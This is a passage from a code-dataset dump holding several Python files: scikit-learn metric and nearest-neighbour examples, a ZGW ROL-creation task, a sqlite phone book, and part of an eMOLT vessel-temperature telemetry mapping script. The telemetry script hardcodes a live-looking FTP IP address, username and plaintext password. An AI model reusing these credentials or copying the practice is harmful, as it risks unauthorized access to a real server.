1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('Receiver operating characteristic example')\nplt.legend(loc=\"lower right\")\nplt.show()\n\n# Plot ROC for multiclass problems\n# Compute macro-average ROC curve and ROC area\n\n# First aggregate all false positive rates\nall_fpr = np.unique(np.concatenate([fpr[i] for i in range(n_classes)]))\n\n# Then interpolate all ROC curves at this points\nmean_tpr = np.zeros_like(all_fpr)\nfor i in range(n_classes):\n mean_tpr += interp(all_fpr, fpr[i], tpr[i])\n\n# Finally average it and compute AUC\nmean_tpr /= n_classes\n\nfpr[\"macro\"] = all_fpr\ntpr[\"macro\"] = mean_tpr\nroc_auc[\"macro\"] = auc(fpr[\"macro\"], tpr[\"macro\"])\n\n# Plot all ROC curves\nplt.figure()\nplt.plot(fpr[\"micro\"], tpr[\"micro\"],\n label='micro-average ROC curve (area = {0:0.2f})'\n ''.format(roc_auc[\"micro\"]),\n color='deeppink', linestyle=':', linewidth=4)\n\nplt.plot(fpr[\"macro\"], tpr[\"macro\"],\n label='macro-average ROC curve (area = {0:0.2f})'\n ''.format(roc_auc[\"macro\"]),\n color='navy', linestyle=':', linewidth=4)\n\ncolors = cycle(['aqua', 'darkorange', 'cornflowerblue'])\nfor i, color in zip(range(n_classes), colors):\n plt.plot(fpr[i], tpr[i], color=color, lw=lw,\n label='ROC curve of class {0} (area = {1:0.2f})'\n ''.format(i, roc_auc[i]))\n\nplt.plot([0, 1], [0, 1], 'k--', lw=lw)\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('Some extension of Receiver operating characteristic to multi-class')\nplt.legend(loc=\"lower right\")\nplt.show()\n\n### Regression metrics\n## Explained variance score\nfrom sklearn.metrics import explained_variance_score\ny_true = [3, -0.5, 2, 7]\ny_pred = [2.5, 0.0, 2, 8]\nexplained_variance_score(y_true, y_pred) \ny_true = [[0.5, 1], [-1, 1], [7, -6]]\ny_pred = [[0, 2], [-1, 2], [8, -5]]\nexplained_variance_score(y_true, y_pred, multioutput='raw_values')\nexplained_variance_score(y_true, y_pred, multioutput=[0.3, 0.7])\n\n## Mean absolute error\nfrom sklearn.metrics import mean_absolute_error\ny_true = [3, -0.5, 2, 7]\ny_pred = [2.5, 0.0, 2, 8]\nmean_absolute_error(y_true, y_pred)\ny_true = [[0.5, 1], [-1, 1], [7, -6]]\ny_pred = [[0, 2], [-1, 2], [8, -5]]\nmean_absolute_error(y_true, y_pred)\nmean_absolute_error(y_true, y_pred, multioutput='raw_values')\nmean_absolute_error(y_true, y_pred, multioutput=[0.3, 0.7])\n\n## Mean squared error\nfrom sklearn.metrics import mean_squared_error\ny_true = [3, -0.5, 2, 7]\ny_pred = [2.5, 0.0, 2, 8]\nmean_squared_error(y_true, y_pred)\ny_true = [[0.5, 1], [-1, 1], [7, -6]]\ny_pred = [[0, 2], [-1, 2], [8, -5]]\nmean_squared_error(y_true, y_pred) \n\n## Mean squared logarithmic error\nfrom sklearn.metrics import mean_squared_log_error\ny_true = [3, 5, 2.5, 7]\ny_pred = [2.5, 5, 4, 8]\nmean_squared_log_error(y_true, y_pred) \ny_true = [[0.5, 1], [1, 2], [7, 6]]\ny_pred = [[0.5, 2], [1, 2.5], [8, 8]]\nmean_squared_log_error(y_true, y_pred)\n\n## Median absolute error\nfrom sklearn.metrics import median_absolute_error\ny_true = [3, -0.5, 2, 7]\ny_pred = [2.5, 0.0, 2, 8]\nmedian_absolute_error(y_true, y_pred)\n\n## R² score, the coefficient of determination\nfrom sklearn.metrics import r2_score\ny_true = [3, -0.5, 2, 7]\ny_pred = [2.5, 0.0, 2, 8]\nr2_score(y_true, y_pred) \ny_true = [[0.5, 1], [-1, 1], [7, -6]]\ny_pred = [[0, 2], [-1, 2], [8, -5]]\nr2_score(y_true, y_pred, multioutput='variance_weighted')\ny_true = [[0.5, 1], [-1, 1], [7, -6]]\ny_pred = [[0, 2], [-1, 2], [8, -5]]\nr2_score(y_true, y_pred, multioutput='uniform_average')\nr2_score(y_true, y_pred, multioutput='raw_values')\nr2_score(y_true, y_pred, multioutput=[0.3, 0.7])\n\n\n#### Nearest Neighbors Classification\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import ListedColormap\nfrom sklearn import neighbors, datasets\n\nn_neighbors = 15\n\n# import some data to play with\niris = datasets.load_iris()\n\n# we only take the first two features. We could avoid this ugly\n# slicing by using a two-dim dataset\nX = iris.data[:, :2]\ny = iris.target\n\nh = .02 # step size in the mesh\n\n# Create color maps\ncmap_light = ListedColormap(['#FFAAAA', '#AAFFAA', '#AAAAFF'])\ncmap_bold = ListedColormap(['#FF0000', '#00FF00', '#0000FF'])\n\nfor weights in ['uniform', 'distance']:\n # we create an instance of Neighbours Classifier and fit the data.\n clf = neighbors.KNeighborsClassifier(n_neighbors, weights=weights)\n clf.fit(X, y)\n\n # Plot the decision boundary. For that, we will assign a color to each\n # point in the mesh [x_min, x_max]x[y_min, y_max].\n x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1\n y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1\n xx, yy = np.meshgrid(np.arange(x_min, x_max, h),\n np.arange(y_min, y_max, h))\n Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])\n\n # Put the result into a color plot\n Z = Z.reshape(xx.shape)\n plt.figure()\n plt.pcolormesh(xx, yy, Z, cmap=cmap_light)\n\n # Plot also the training points\n plt.scatter(X[:, 0], X[:, 1], c=y, cmap=cmap_bold,\n edgecolor='k', s=20)\n plt.xlim(xx.min(), xx.max())\n plt.ylim(yy.min(), yy.max())\n plt.title(\"3-Class classification (k = %i, weights = '%s')\"\n % (n_neighbors, weights))\n\nplt.show()\n\n#### Nearest Neighbors regression\n# Generate sample data\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import neighbors\n\nnp.random.seed(0)\nX = np.sort(5 * np.random.rand(40, 1), axis=0)\nT = np.linspace(0, 5, 500)[:, np.newaxis]\ny = np.sin(X).ravel()\n\n# Add noise to targets\ny[::5] += 1 * (0.5 - np.random.rand(8))\n\n# #############################################################################\n# Fit regression model\nn_neighbors = 5\n\nfor i, weights in enumerate(['uniform', 'distance']):\n knn = neighbors.KNeighborsRegressor(n_neighbors, weights=weights)\n y_ = knn.fit(X, y).predict(T)\n\n plt.subplot(2, 1, i + 1)\n plt.scatter(X, y, c='k', label='data')\n plt.plot(T, y_, c='g', label='prediction')\n plt.axis('tight')\n plt.legend()\n plt.title(\"KNeighborsRegressor (k = %i, weights = '%s')\" % (n_neighbors,\n weights))\n\nplt.show()\n\n## Nearest Centroid Classification\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import ListedColormap\nfrom sklearn import datasets\nfrom sklearn.neighbors import NearestCentroid\n\nn_neighbors = 15\n\n# import some data to play with\niris = datasets.load_iris()\n# we only take the first two features. We could avoid this ugly\n# slicing by using a two-dim dataset\nX = iris.data[:, :2]\ny = iris.target\n\nh = .02 # step size in the mesh\n\n# Create color maps\ncmap_light = ListedColormap(['#FFAAAA', '#AAFFAA', '#AAAAFF'])\ncmap_bold = ListedColormap(['#FF0000', '#00FF00', '#0000FF'])\n\nfor shrinkage in [None, .2]:\n # we create an instance of Neighbours Classifier and fit the data.\n clf = NearestCentroid(shrink_threshold=shrinkage)\n clf.fit(X, y)\n y_pred = clf.predict(X)\n print(shrinkage, np.mean(y == y_pred))\n # Plot the decision boundary. For that, we will assign a color to each\n # point in the mesh [x_min, x_max]x[y_min, y_max].\n x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1\n y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1\n xx, yy = np.meshgrid(np.arange(x_min, x_max, h),\n np.arange(y_min, y_max, h))\n Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])\n\n # Put the result into a color plot\n Z = Z.reshape(xx.shape)\n plt.figure()\n plt.pcolormesh(xx, yy, Z, cmap=cmap_light)\n\n # Plot also the training points\n plt.scatter(X[:, 0], X[:, 1], c=y, cmap=cmap_bold,\n edgecolor='b', s=20)\n plt.title(\"3-Class classification (shrink_threshold=%r)\"\n % shrinkage)\n plt.axis('tight')\n\nplt.show()\n\n\n#### Validation curves\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom sklearn.datasets import load_digits\nfrom sklearn.svm import SVC\nfrom sklearn.model_selection import validation_curve\nfrom sklearn import neighbors, datasets\n\n\ndigits = load_digits()\nX, y = digits.data, digits.target\n\n#param_range = np.logspace(-6, -1, 5)\n#train_scores, test_scores = validation_curve(\n# SVC(), X, y, param_name=\"gamma\", param_range=param_range,\n# cv=10, scoring=\"accuracy\", n_jobs=1)\nparam_range = range(2, 15, 5)\nparam_name = 'n_neighbors'\nparam_range=param_range\n\ntrain_scores, test_scores = validation_curve(neighbors.KNeighborsClassifier(), X, y, \n param_name=\"n_neighbors\", param_range=param_range,\n scoring=\"accuracy\", n_jobs=1)\n\ntrain_scores_mean = np.mean(train_scores, axis=1)\ntrain_scores_std = np.std(train_scores, axis=1)\ntest_scores_mean = np.mean(test_scores, axis=1)\ntest_scores_std = np.std(test_scores, axis=1)\n\nplt.title(\"Validation Curve with KNN\")\nplt.xlabel(\"n_neighbors\")\nplt.ylabel(\"Score\")\nplt.ylim(0.0, 1.1)\nlw = 2\nplt.semilogx(param_range, train_scores_mean, label=\"Training score\",\n color=\"darkorange\", lw=lw)\nplt.fill_between(param_range, train_scores_mean - train_scores_std,\n train_scores_mean + train_scores_std, alpha=0.2,\n color=\"darkorange\", lw=lw)\nplt.semilogx(param_range, test_scores_mean, label=\"Cross-validation score\",\n color=\"navy\", lw=lw)\nplt.fill_between(param_range, test_scores_mean - test_scores_std,\n test_scores_mean + test_scores_std, alpha=0.2,\n color=\"navy\", lw=lw)\nplt.legend(loc=\"best\")\nplt.show()\n\n","sub_path":"modelSelection_v1.py","file_name":"modelSelection_v1.py","file_ext":"py","file_size_in_byte":25628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"456664300","text":"import logging\nfrom typing import Optional\n\nfrom zgw_consumers.constants import APITypes\n\nfrom bptl.tasks.base import check_variable\nfrom bptl.tasks.registry import register\n\nfrom .base import ZGWWorkUnit, require_zrc, require_ztc\n\nlogger = logging.getLogger(__name__)\n\n\n@register\n@require_zrc\n@require_ztc\nclass CreateRolTask(ZGWWorkUnit):\n \"\"\"\n Create a new ROL for the ZAAK in the process.\n\n **Required process variables**\n\n * ``zaakUrl``: full URL of the ZAAK to create a new rol for\n * ``omschrijving``: roltype.omschrijving for the ROL\n * ``betrokkene``: JSON object with data used to create a rol for a particular zaak. See\n https://zaken-api.vng.cloud/api/v1/schema/#operation/rol_create for the properties available.\n * ``bptlAppId``: the application ID of the app that caused this task to be executed.\n The app-specific credentials will be used for the API calls.\n * ``services``: DEPRECATED - support will be removed in 1.1\n\n **Optional process variables (Camunda exclusive)**\n\n * ``callbackUrl``: send an empty POST request to this URL to signal completion\n\n **Sets the process variables**\n\n * ``rolUrl``: the full URL of the created ROL\n \"\"\"\n\n def create_rol(self) -> Optional[dict]:\n variables = self.task.get_variables()\n betrokkene = check_variable(variables, \"betrokkene\")\n omschrijving = check_variable(variables, \"omschrijving\", empty_allowed=True)\n\n if not omschrijving:\n logger.info(\"Received empty rol-omschrijving process variable, skipping.\")\n return\n\n zrc_client = self.get_client(APITypes.zrc)\n zaak_url = check_variable(variables, \"zaakUrl\")\n zaak = zrc_client.retrieve(\"zaak\", url=zaak_url)\n\n ztc_client = self.get_client(APITypes.ztc)\n query_params = {\n \"zaaktype\": zaak[\"zaaktype\"],\n }\n rol_typen = ztc_client.list(\"roltype\", query_params)\n rol_typen = [\n rol_type\n for rol_type in rol_typen[\"results\"]\n if rol_type[\"omschrijving\"] == omschrijving\n ]\n if not rol_typen:\n raise ValueError(\n f\"No matching roltype with zaaktype = {zaak['zaaktype']} and omschrijving = {omschrijving} is found\"\n )\n\n data = {\n \"zaak\": zaak[\"url\"],\n \"betrokkene\": betrokkene.get(\"betrokkene\", \"\"),\n \"betrokkeneType\": betrokkene[\"betrokkeneType\"],\n \"roltype\": rol_typen[0][\"url\"],\n \"roltoelichting\": betrokkene[\"roltoelichting\"],\n \"indicatieMachtiging\": betrokkene.get(\"indicatieMachtiging\", \"\"),\n \"betrokkeneIdentificatie\": betrokkene.get(\"betrokkeneIdentificatie\", {}),\n }\n rol = zrc_client.create(\n \"rol\",\n data,\n )\n return rol\n\n def perform(self) -> Optional[dict]:\n rol = self.create_rol()\n if rol is None:\n return None\n return {\"rolUrl\": rol[\"url\"]}\n","sub_path":"src/bptl/work_units/zgw/tasks/rol.py","file_name":"rol.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"597272187","text":"\"\"\"\nRealisation phone book model.\nClasses\n-------\nPhoneBook\n\"\"\"\nimport sqlite3\n\n\nclass PhoneBook:\n \"\"\"\n PhoneBook logic realisation\n Attributes\n ----------\n Methods\n -------\n create()\n read()\n update()\n delete()\n \"\"\"\n def __init__(self):\n self._conn = sqlite3.connect(\":memory:\")\n try:\n self._conn.execute(\"\"\"create table contacts (\n id integer primary key,\n name varchar(30) unique,\n phone varchar(30)\n )\"\"\")\n\n except sqlite3.OperationalError:\n pass\n\n def _empty_checker(self, name):\n \"\"\"empty checker\"\"\"\n try:\n sql = \"select name from contacts where name=?\"\n return self._conn.execute(sql, (name,)).fetchone()[0]\n except TypeError:\n raise KeyError\n\n def create(self, name, phone):\n \"\"\"\n Create record in phone book\n \"\"\"\n sql = \"insert into contacts (name, phone) values (?, ?)\"\n try:\n self._conn.execute(sql, (name, phone))\n self._conn.commit()\n except sqlite3.IntegrityError:\n raise KeyError\n\n def read(self, name):\n \"\"\"\n Read record from phone book\n \"\"\"\n try:\n sql = \"select phone from contacts where name=?\"\n phone = self._conn.execute(sql, (name,)).fetchone()[0]\n return int(phone)\n except TypeError:\n raise KeyError\n\n def update(self, name, phone):\n \"\"\"\n Update record in phone book\n \"\"\"\n self._empty_checker(name)\n sql = \"update contacts set phone=? where name=?\"\n self._conn.execute(sql, (phone, name))\n self._conn.commit()\n\n def delete(self, name):\n \"\"\"\n Delete record from phone book\n \"\"\"\n self._empty_checker(name)\n sql = \"delete from contacts where name=?\"\n self._conn.execute(sql, (name,))\n self._conn.commit()\n","sub_path":"sqlcontacts.py","file_name":"sqlcontacts.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"557027193","text":"import matplotlib.pyplot as plt\nimport sys\nsys.path.append('../')\nimport walkabout\n\n\nparams = {\n 'steps': 255,\n 'iterations': 5,\n 'volatility': walkabout.utility.scale_stdev(0.20, from_unit=255, to_unit=1),\n 'starting_value': 15\n}\n\nresults = walkabout.simulations.brownian_motion(**params)\n\nfor result in results:\n plt.plot(result)\nplt.savefig('brownian-motion-results.png')\nplt.show()\n","sub_path":"examples/brownian_motion.py","file_name":"brownian_motion.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"451823503","text":"#!/usr/bin/env python3\n\n# -*- coding: utf-8 -*-\n'''\nversion2\nRoutine to map the realtime eMOLT bottom temps using Leaflets\nCreated on Wed Sep 6 13:37:50 2017\n@author: hxu\n\nModified by Huanxin 9 Oct 2018 to make temperature read degF\nModified by Lei Zhao in June 2019 to add models and climatology\nModified by JiM in Dec 2019 & Jan/Feb 2020 to improve readability for NERACOOS transfer\n\nThis program include 4 basic applications\n1. Download raw csv files which have been uploaded by 'wifi.py' to studentdrifters.org (\"SD\" machine)\n2. Look for good csv files and makes plot a graph for each good one\n3. Create \"telemetry.html\"\n4. Upload this html and the pngs to the new studentdrifters ftp location\n\n\nNotes:\n1. There is a crontab routine run on the SD machine to move html & pngs from ftp to httpdocs\n2. Assumes \"telemetry_status.csv\" and \"dictionary.json\" are in the \"parameter\" directory level with this \"py\" directory\n\n###############################################\nNOTICE: The PATHS YOU HAVE TO CHANGE TO MAKE THEM CORRECT\nif you want change the path and name, please go to the function of main()\n###############################################\n'''\nimport sys\n#sys.path.append(\"/home/jmanning/py/aq_main/aqmain_and_raw_check/aqmain/py/\")# add path to homegrown modules needed\nsys.path.append('D:\\aq_main_telemetry-master')\nimport ftplib\nimport os\nimport datetime\nimport glob\nfrom folium.plugins import MarkerCluster\nimport folium\nimport random\nfrom func_aq import plot_aq\nimport numpy as np\nimport json\nimport pytz\nimport read_functions as rf\nimport numpy as np\nimport upload_models as up\nimport math\nimport create_models_dictionary as cmd\n\ndef c2f(*c):\n \"\"\"\n convert Celsius to Fahrenheit\n accepts multiple values\n \"\"\"\n if not c:\n c = input ('Enter Celsius value:')\n f = 1.8 * c + 32\n return f\n else:\n f = [(i * 1.8 + 32) for i in c]\n return f \n\ndef csv_files(file_list):\n \"\"\"pick up all .csv files\"\"\"\n _files=[]\n for i in range(len(file_list)):\n if file_list[i].split('.')[1]=='csv':\n _files.append(file_list[i])\n return _files\n\ndef download_raw_file(localpath,ftppath):\n '''download the raw data from the student drifter'''\n ftp=ftplib.FTP('66.114.154.52','huanxin','123321')\n print ('Logging in.')\n print ('Accessing files')\n allfilelisthis=csv_files(list_all_files(localpath)) #get all filename and file path exist\n \n list_all_ftpfiles(ftp,rootdir=ftppath,localpath=localpath,local_list=allfilelisthis) #download the new raw data there is not exist in local directory \n allfilelistnew=csv_files(list_all_files(localpath)) #get all filename and file path exist after update\n files=list(set(allfilelistnew)-set(allfilelisthis)) #get the list of filename and filepath that updated\n ftp.quit() # This is the “polite” way to close a connection\n print ('New files downloaded')\n return files\n\n###### START FTP SESSION TO THE OLD STUDENTDRIFTERS MACHINE AND DOWNLOAD RAW CSV\ndef eastern_to_gmt(filename):\n eastern = pytz.timezone('US/Eastern')\n gmt = pytz.timezone('GMT')\n if len(filename.split('_'))<8:\n times=filename.split('_')[-2]+'_'+filename.split('_')[-1][:-4] #filename likes : 'aqu_data/Logger_sn_1724-7_data_20150528_100400.csv'\n else:\n times=filename.split('_')[-3]+'_'+filename.split('_')[-2] #filename likes : 'aqu_data/Logger_sn_1724-71_data_20151117_105550_2.csv'\n date = datetime.datetime.strptime(times, '%Y%m%d_%H%M%S')\n date_eastern=eastern.localize(date)\n gmtdate=date_eastern.astimezone(gmt)\n return gmtdate\n\ndef get_moudules_value(filepathname,vessel_name,dtime): \n '''get modules' value from the dictionary'''\n dic={}\n with open(filepathname,'r') as fp:\n dictionary = json.load(fp)\n try:\n dic['Doppio']=dictionary[vessel_name]['Doppio_T'][str(dtime)]\n dic['GoMOLFs']=dictionary[vessel_name]['GoMOLFs_T'][str(dtime)]\n dic['FVCOM']=dictionary[vessel_name]['FVCOM_T'][str(dtime)]\n dic['CrmClim']=dictionary[vessel_name]['Clim_T'][str(dtime)]\n except:\n try:\n vessel_name=vessel_name.replace('_',' ')\n dic['Doppio']=dictionary[vessel_name]['Doppio_T'][str(dtime)]\n dic['GoMOLFs']=dictionary[vessel_name]['GoMOLFs_T'][str(dtime)]\n dic['FVCOM']=dictionary[vessel_name]['FVCOM_T'][str(dtime)]\n dic['CrmClim']=dictionary[vessel_name]['Clim_T'][str(dtime)]\n except:\n vessel_name=vessel_name.replace(' ','_')\n dic['Doppio']=dictionary[vessel_name]['Doppio_T'][str(dtime)]\n dic['GoMOLFs']=dictionary[vessel_name]['GoMOLFs_T'][str(dtime)]\n dic['FVCOM']=dictionary[vessel_name]['FVCOM_T'][str(dtime)]\n dic['CrmClim']=dictionary[vessel_name]['Clim_T'][str(dtime)]\n return dic\n\ndef list_all_files(rootdir):\n \"\"\"pick up all files' path and name in rootdirectory\"\"\"\n _files = []\n list = os.listdir(rootdir) #List all the directories and files under the folder\n for i in range(0,len(list)):\n path = os.path.join(rootdir,list[i])\n if os.path.isdir(path):\n _files.extend(list_all_files(path))\n if os.path.isfile(path):\n _files.append(path)\n return _files\n\ndef list_all_ftpfiles(ftp,rootdir,localpath,local_list):\n \"\"\"get all files' path and name in rootdirectory this is for student drifter\"\"\"\n print ('rootdir='+rootdir)\n ftp.cwd(rootdir)\n #print (rootdir,localpath,local_list)\n if not os.path.exists(localpath):\n os.makedirs(localpath)\n filelist = ftp.nlst() #List all the directories and files under the folder\n for i in range(0,len(filelist)):\n #filepath = os.path.join(localpath,filelist[i])\n filepath = localpath+'/'+filelist[i]\n \n if len(filelist[i].split('.'))!=1:\n if filepath in local_list:\n continue\n else:\n file = open(filepath, 'wb')\n ftp.retrbinary('RETR '+ filelist[i], file.write)\n file.close()\n else:\n print (1)\n print (filelist[i])\n #ftp.cwd('/')\n rootdirnew=rootdir+'/'+filelist[i]\n #rootdirnew=os.path.join(rootdir,filelist[i])\n localpathnew=os.path.join(localpath,filelist[i])\n print ('rootdirnew='+rootdirnew)\n print ('localpathnew='+localpathnew)\n list_all_ftpfiles(ftp=ftp,rootdir=rootdirnew,localpath=localpathnew,local_list=local_list)\n\ndef list_replace(nlist,old,new):\n '''replace some string in list'''\n _list=[]\n for i in range(len(nlist)):\n _list.append(nlist[i].replace(old,new))\n return _list\n\n \ndef make_html(raw_path,telemetrystatus_file,pic_path,dictionary,htmlpath,df,pdelta=20): \n \"\"\"MAKE TELEMETRY.HTML\n raw_path: the path of store raw files\n telemetry_status: the path and filename of the telemetry status\n pic_path: the path that use to store pictures\n dictionary: the path and filename of dictionary(use to store the modules data)\n pdelta: the timedelta of picture file time with emolt data time\n \n \"\"\"\n df_tele_status=rf.read_telemetrystatus(path_name=telemetrystatus_file)\n\n #### START BUILDING THE LEAFLET WEBPAGE, READ A FEW INPUT FILES, CREATE FOLIUM.MAP\n including=list(set(df['vessel_n'])) #vessel number eg. 'Vessel_18'\n map_1 = folium.Map(location=[41.572, -69.9072],width='88%', height='75%',left=\"3%\", top=\"2%\",\n control_scale=True,\n detect_retina=True,\n zoom_start=8,\n tiles='https://server.arcgisonline.com/ArcGIS/rest/services/Ocean_Basemap/MapServer/tile/{z}/{y}/{x}',\n attr= 'Tiles © Esri — Sources: GEBCO, NOAA, CHS, OSU, UNH, CSUMB, National Geographic, DeLorme, NAVTEQ, and Esri',\n\t)\n# map_1.add_tile_layer( name='Esri_OceanBasemap',\n# tiles='https://server.arcgisonline.com/ArcGIS/rest/services/Ocean_Basemap/MapServer/tile/{z}/{y}/{x}',\n# attr= 'Tiles © Esri — Sources: GEBCO, NOAA, CHS, OSU, UNH, CSUMB, National Geographic, DeLorme, NAVTEQ, and Esri', \n# )\n# map_1.add_tile_layer( name='NatGeo_World_Map',\n# tiles='http://server.arcgisonline.com/ArcGIS/rest/services/NatGeo_World_Map/MapServer/tile/{z}/{y}/{x}',\n# attr= 'Tiles © Esri — National Geographic, Esri, DeLorme, NAVTEQ, UNEP-WCMC, USGS, NASA, ESA, METI, NRCAN, GEBCO, NOAA, iPC',)\n colors = [\n 'red',\n 'blue',\n 'gray',\n 'darkred',\n 'lightred',\n 'orange',\n 'beige',\n 'green',\n 'darkgreen',\n 'lightgreen',\n 'darkblue',\n 'lightblue',\n 'purple',\n 'darkpurple',\n 'pink',\n 'cadetblue',\n 'lightgray',\n 'black'\n ]\n\n for x in range(int(len(df_tele_status)/len(colors))+2):\n colors=colors+colors\n lat_box=[];lon_box=[]\n route=0;lat=0;lon=0;popup=0;html='';lastfix=1;randomlat=1;randomlon=0\n mc = MarkerCluster() \n # CREATE ICONS ON THE MAP\n for i in range(0,len(including)): # LOOP THROUGH VESSELS note: I am skipping vessel_1 since that was just at the dock test\n print (i,route,popup,lastfix)\n if i!=route and popup!=0 and lastfix==0 and html!='': #since lastfix was set to 1 before loop, the following lines never get issued??????\n iframe = folium.IFrame(html=html, width=700, height=350)\n popup = folium.Popup(iframe, max_width=900)\n folium.Marker([lat+randomlat,lon+randomlon], popup=popup,icon=folium.Icon(color=colors[route],icon='ok-sign')).add_to(map_1) \n lastfix=1\n for line in range(len(df)): # LOOP THROUGH EACH LINE OF EMOLT.DAT\n if df.iloc[line]['vessel_n']==including[i]:\n# id_idn1=including[i]\n datet=df.iloc[line]['time'] \n if float(str(df.iloc[line]['depth']))>10:\n html=''\n meandepth=df.iloc[line]['depth']\n rangedepth=df.iloc[line]['rangedepth']\n len_day=df.iloc[line]['timerange']\n mean_temp=df.iloc[line]['temp']\n sdevia_temp=df.iloc[line]['stdtemp']\n lat=df.iloc[line]['lat'] #get the latitude\n lon=df.iloc[line]['lon'] #get the longitude\n vessel_number=including[i].split('_')[1]\n for ves in range(len(df_tele_status)):\n if str(df_tele_status['Vessel#'].iloc[ves])==str(vessel_number):\n vessel_name=df_tele_status['Boat'].iloc[ves]\n pic_ym=datet.strftime('%Y%m')\n picturepath=os.path.join(pic_path,vessel_name,pic_ym)\n try:\n dic=get_moudules_value(filepathname=dictionary,vessel_name=vessel_name,dtime=datet)\n doppio_t,gomofs_t,FVCOM_t,clim_t=dic['Doppio'],dic['GoMOLFs'],dic['FVCOM'],dic['CrmClim']\n except:\n doppio_t,gomofs_t,FVCOM_t,clim_t=np.nan,np.nan,np.nan,np.nan\n \n #set the value that need display, for example temperature of modules, observed and so on. \n content=datet.strftime('%d-%b-%Y %H:%M')+'
    Observed temperature: ' +str(round(c2f(float(mean_temp))[0],1)).rjust(4)+' F ('+str(round(mean_temp,1)).rjust(4)+' C)'\n if not (math.isnan(doppio_t) and math.isnan(gomofs_t) and math.isnan(FVCOM_t) and math.isnan(clim_t)):\n content+='
    Modelled temperatures:'\n if not math.isnan(doppio_t):\n content+='
      DOPPIO: '+str(round(c2f(float(doppio_t))[0],1)).rjust(4)+' F ('+str(round(doppio_t,1)).rjust(4)+' C)'\n if not math.isnan(gomofs_t):\n content+='
      GoMOFS: '+str(round(c2f(float(gomofs_t))[0],1)).rjust(4)+' F ('+str(round(gomofs_t,1)).rjust(4)+' C)'\n if not math.isnan(FVCOM_t):\n content+='
      FVCOM : '+str(round(c2f(float(FVCOM_t))[0],1)).rjust(4)+' F ('+str(round(FVCOM_t,1)).rjust(4)+' C)'\n if not math.isnan(clim_t):\n content+='
      Climatology: '+str(round(c2f(clim_t)[0],1)).rjust(4)+' F ('+str(round(clim_t,1)).rjust(4)+' C)
    '\n #content+='
    Sdevia_temp: '+str(round(c2f(float(sdevia_temp))[0],1))+' F ('+str(round(sdevia_temp,1)).rjust(4)+' C)'+\\ #JiM made change\n content+='
    Sdevia_temp: '+str(round(sdevia_temp,1)).rjust(4)+' C'+\\\n '
    Observed depth: '+str(round(meandepth/1.8288,1)).rjust(10)+' Fth'+\\\n '
    Rangedepth: '+str(round(float(rangedepth)/1.8288,1))+' Fth'+\\\n '
    Haul_duration: '+str(round(len_day,1))+' hours'\n for aqu_file in glob.glob(os.path.join(picturepath,\"*.png\")):\n fpath,fname=os.path.split(aqu_file)\n filename_time=fname.split('.')[0].split('_')[2:4]\n dt_fnt=datetime.datetime.strptime(filename_time[0]+filename_time[1],'%Y%m%d%H%M%S')\n if abs(dt_fnt-datet)<=datetime.timedelta(minutes=pdelta):\n link='\"'+'http://studentdrifters.org'+('/'+os.path.join('/lei/all_pic',fname)).replace('//','/')+'\"'\n icon='star'\n if html=='':\n html='''\n

    \n \n \n \n \n '''+content+\\\n '
    Click here to view the detailed graph.'+\\\n '
    C: Celsius  F: Fahrenheit''''\n
    \n \n

    \n ''' \n \n if html=='':\n html='''\n

    \n \n \n \n \n '''+content+'
    C: Celsius F: Fahrenheit Fth:Fathoms''''\n
    \n \n

    \n '''\n icon='ok-sign'\n lon_box.append(lon)\n lat_box.append(lat)\n iframe = folium.IFrame(html=html, width=700, height=350)\n# popup = folium.Popup(iframe, max_width=1500)\n# iframe = folium.IFrame(html=html)\n popup = folium.Popup(iframe, max_width=45000)\n randomlat=random.randint(-3000, 3000)/100000.\n randomlon=random.randint(-2500, 2000)/100000.\n mk=folium.Marker([lat+randomlat,lon+randomlon], popup=popup,icon=folium.Icon(icon=icon,color=colors[i]))\n# mk=folium.Marker([lat+randomlat,lon+randomlon],popup=popup,icon=folium.Icon(icon=icon,color=colors[i]))\n mc.add_child(mk)\n map_1.add_child(mc)\n lastfix=0\n route=i\n #folium.LayerControl().add_to(map_1)\n map_1.save(os.path.join(htmlpath,'telemetry.html'))\n with open(os.path.join(htmlpath,'telemetry.html'), 'a') as file:\n file.write(''' \n

    \n

         Realtime bottom temperatures from fishing vessels in the past month

    \n
      \n \n
    • Checkmark icons denotes latest reports color-coded by vessel.\n
    • Numbered icons denote multiple reports in that area color-coded by density of reports.\n
    • Starred icons denote actual reports posted within 10 miles of actual position.\n
    • Starred icons denote actual reports there have detailed graph, ok-sign icon denote there have not detailed graph.\n
    • Layer symbol in upper right denotes other basemap options.\n
    • \n
    \n
    \n ''')\n file.close()\n\ndef make_png(files,pic_path,rootdir,telemetry_status_df):\n '''\n files: that a list include the path and filename \n pic_path: the path that use to store plot picture\n rootdir: the root directory use to store raw files\n make time series plot about depth and temperature in every file\n '''\n if len(files)==0: #if the list of \"files\" is empty, skip create picture\n return 0\n allfileimg=list_all_files(pic_path) # use function \"list_all_files\" to get the list of file's path and name\n telemetry_status_df.index=telemetry_status_df['Boat']\n for m in range(len(files)): #loop every file, create picture\n \n vessel_name=os.path.dirname(files[m]).split('/')[-2]\n try:\n ForM=telemetry_status_df['Fixed vs. Mobile'][vessel_name]\n except:\n vessel_name=vessel_name.replace('_',' ')\n ForM=telemetry_status_df['Fixed vs. Mobile'][vessel_name]\n \n if ForM=='Fixed':\n percent=0.95\n elif 